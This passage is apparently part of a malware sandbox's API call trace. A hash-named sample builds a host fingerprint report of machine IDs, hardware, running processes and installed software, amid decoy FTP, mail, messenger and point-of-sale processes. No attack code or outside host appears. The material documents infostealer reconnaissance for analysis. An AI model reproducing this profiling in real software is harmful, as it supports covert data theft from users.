womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft Publisher MUI (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016"
[0054.961] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.961] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 ["
[0054.961] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- 